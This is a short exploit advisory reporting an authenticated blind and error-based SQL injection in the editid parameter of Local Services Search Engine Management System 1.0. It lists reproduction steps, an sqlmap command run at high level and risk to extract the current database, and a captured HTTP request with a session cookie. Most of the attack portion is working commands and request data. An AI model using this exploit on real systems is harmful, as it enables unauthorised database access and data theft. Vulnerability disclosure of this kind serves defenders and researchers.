Local Services Search Engine Management System (LSSMES) 1.0 - Blind & Error based SQL injection (Authenticated)

# Exploit Title: Local Services Search Engine Management System (LSSMES) 1.0 - Blind & Error based SQL injection (Authenticated)
# Date: 2021-03-02
# Exploit Author: Tushar Vaidya
# Vendor Homepage: https://phpgurukul.com/local-services-search-engine-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10867
# Version: v1.0
# Tested on: Ubuntu
# Detail walkthrough: https://medium.com/@tusharvaidya16/authenticated-blind-error-based-sql-injection-on-local-services-search-engine-management-system-3e99779f0850

*Steps to Reproduce:*
1) Login with Admin Credentials and click on the *Service Category* button.
2) Click on the *Manage Category* button.
3) Now add the double quote ( " ) in the URL after *editid parameter*
4) At that time we observe that the application is misbehaving now capture this request from the burp suite and save it into an SQL text file.
4) Now fire up the following command into SQLMAP

CMD: sqlmap -r sql_file.txt --data="editid=1" --curent-db --level 5 --risk 3

4) We got a database.

*Below request from sql_file.txt*

GET /LSSMES/lssems/admin/edit-category-detail.php?editid=* HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:86.0) Gecko/20100101
Firefox/86.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://lcoalhost/LSSMES/lssems/admin/manage-category.php
Cookie: PHPSESSID=rinoskt58u1hpa8s6i7di53rbc
Upgrade-Insecure-Requests: 1